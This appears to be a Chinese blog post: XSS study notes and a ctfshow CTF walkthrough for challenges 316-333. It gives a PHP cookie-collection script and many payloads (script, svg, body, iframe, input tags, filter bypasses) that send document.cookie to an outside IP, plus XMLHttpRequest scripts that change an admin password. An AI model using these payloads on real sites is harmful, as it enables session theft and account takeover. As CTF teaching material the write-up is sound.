xss复习总结及ctfshow做题总结xss

xss复习总结

知识点

1.XSS 漏洞简介

​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

2.XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。

诱使受害者打开受到攻击的服务器URL。

受害者在Web浏览器中打开URL,恶意脚本执行。

3.XSS的攻击方式

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理

存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

4.XSS的危害

1.挂马

2.盗取用户Cookie。

3.DOS(拒绝服务)客户端浏览器。

4.钓鱼攻击,高级的钓鱼技巧。

5.删除目标文章、恶意篡改数据、嫁祸。

6.劫持用户Web行为,甚至进一步渗透内网。

7.爆发Web2.0蠕虫。

8.蠕虫式的DDoS攻击。

9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

10.其它安全问题

5.XSS的利用方式

1.需要一个xss平台来收集cookie

  1. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台

  2. 窃取用户cooike之后加以利用

可以基于xss平台进行利用

思维导图

漏洞概述

漏洞分类

防御

示例ctfshow

反射型(316-326)

316

写入<script>alert('1');</script>,可以弹框

本地服务器接受xss触发的cookie

<?php

echo 'hello';

if(isset($_GET'cookie')) {

cookie = _GET'cookie';

// 过滤和清理用户输入

cookie = htmlspecialchars(cookie); // 过滤特殊字符

// 其他可能的过滤和验证

// 写入文件

$myfile = fopen('cookie.txt', 'a');

if ($myfile !== false) {

fwrite(myfile, cookie."\n");

fclose($myfile);

echo 'Cookie 已成功写入文件。';

} else {

echo '无法打开文件进行写入。';

}

} else {

echo '未提供 cookie 数据。';

}

?>

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie\</script>
<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie\</script>

服务器接受成功

PHPSESSID=mmp10nlblsrf6lm1mhgvrrnr4v; flag=ctfshow{6b0e3e74-33cf-46f9-860f-b482350a15ab}

317

过滤掉了script,可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=p5080si0q6no6arse5ohqsn9i6; flag=ctfshow{7b5527bf-40ce-4c7a-9b60-7b5e90536e35}

318

使用onload+body 标签

姿势:

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=i451q1hknod0tu85ns14bsbe9i; flag=ctfshow{cd22ca42-f597-454c-99d9-e6a34d72adb2}

319

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

PHPSESSID=4v9o95apn13jh1v0olsd4n95cn; flag=ctfshow{642da7b3-a0df-43fe-8b64-758f2c14b4d7}

320

空格过滤了 过滤了script,img,空格

/绕过空格

Iframe标签

<svg/οnlοad="window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie">

PHPSESSID=ucoi08m9uacje2uj026alrdigt; flag=ctfshow{08fc1a0f-9bf6-49e9-a1ed-27fada2cb476}

321-326

这些关卡可以用以前关卡的姿势触发xss

空格可以用 / 或/**/绕过

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

script标签

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie\</script>

svg 标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

327

内容写入

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

返回网络繁忙

328

账号:aa

密码:

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>

修改cookie值

329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效

随便注册一个用户

查看页面信息密码中的标签信息

layui-table-cell laytable-cell-1-0-1

在注册一个用户

密码:

<script>

$('.laytable-cell-1-0-1').each(function(index,value){

if(value.innerHTML.indexOf('ctf'+'show{')>-1){

window.location.href='http://8.130.28.124/cookie.php?cookie='+value.innerHTML;

}

});

</script>

330

Bp抓取修改密码的数据包

再注册

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

331

Bp抓取修改密码的数据包

是post请求

请求模板

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象

httpRequest.open('POST', 'url', true); //第二步:打开连接

httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)

httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中

/**

* 获取数据后的处理程序

*/

httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中

if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功

var json = httpRequest.responseText;//获取到服务端返回的数据

console.log(json);

}

};

构造

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>

ctfshow{4e99b8d9-a969-4940-82ab-3e23777b46d1}

332

逻辑漏洞

转账负数

333

这次加了一点限制,就是转出的金额的绝对值不能比余额大,就是多转几次。

相关推荐
txg66629 分钟前
路径级持久化模糊测试:XSSky 如何精准击破 XSS 漏洞
深度学习·安全·web安全·网络安全·xss
红信鸽1 小时前
2026 年 AI 钓鱼攻击现状与防御深度解析
网络安全
数据知道5 小时前
安全实验室搭建指南:一台电脑搭出完整靶场环境
安全·网络安全·电脑
LYFlied19 小时前
EVMbench解读:AI Agent如何检测、修复并利用智能合约漏洞
人工智能·网络安全·openai·智能合约·ai agent·evm·智能合约区块链
Hiyajo pray1 天前
属性sdn隐私保护分析
网络安全
Hiyajo pray1 天前
属性sdn的隐私保护策略(1)
网络安全
HackTwoHub1 天前
某单位 CMS 完整渗透链、SQL 注入→后台拿权→绕过宝塔 Waf 上线 shell
数据库·人工智能·sql·安全·网络安全·系统安全·安全架构
杭州默安科技1 天前
从告警到多防火墙联动封禁:智能体与XDR的自动化响应实践
人工智能·网络安全
云栖梦泽在1 天前
跨境电商账号频繁验证怎么办?从公网 IP、ASN、浏览器环境到登录稳定性排查
网络·网络协议·tcp/ip·网络安全·性能优化
磐时信息技术2 天前
GB 44495/44496正式施行:智能网联汽车信息安全与软件升级进入强制合规阶段
网络安全·信息安全·汽车·gb44495·gb44496